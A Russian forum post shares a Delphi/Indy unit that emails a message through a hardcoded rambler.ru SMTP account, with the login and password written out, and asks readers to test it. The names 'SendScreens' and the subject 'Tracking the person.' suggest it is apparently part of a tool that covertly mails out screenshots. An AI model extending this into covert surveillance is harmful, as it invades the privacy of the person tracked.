[Сорокин_Роман]

Пользуюсь Delphi XE, версия Indy - новейшая.
Привожу полный код модуля с вырезанными "лишними" строчками (со специально созданной почтой на рамблере, можете проверить )

Код:

unit Sending;

interface

procedure SendScreens;

implementation

uses
  IdSMTP, IdMessage, SysUtils, Windows, Dialogs, Forms;

const
  SMTP_SERVER = 'smtp.rambler.ru';
  USER_LOGIN = 'iqdddd17';
  USER_PASSWORD = 'Sidorovich';
  TO_ADDRESS = 'iqdddd@gmail.com';
  FROM_ADDRESS = 'iqdddd17@rambler.ru';
  USER_NAME = 'Иванов Иван Иванович';

procedure SendScreens;
  label final_;
  var
    client: TIdSMTP;
    msg: TIdMessage;
begin
  msg := TIdMessage.Create;
  client := TIdSMTP.Create;
  with client do
  begin
    Port := 25;
    Host := SMTP_SERVER;
    AuthType := satDefault;
    Username := USER_LOGIN;
    Password := USER_PASSWORD;
    PipeLine := true;
    Connect;
    if not Connected then
      goto final_;
  end;
  with msg do
  begin
    Body.Text := 'about';
    Subject := 'Tracking the person.';
    Recipients.EMailAddresses := TO_ADDRESS;
    From.Address := FROM_ADDRESS;
    From.Name := USER_NAME;
    Date := SysUtils.Date;
  end;
  try
    client.Send(Msg);
  except
    On E: Exception Do
    begin
      ShowMessage(E.Message);
    end;
  end;
final_:
  msg.Free;
  Client.Free;
end;

end.

Кому не сложно, подключите и проверьте.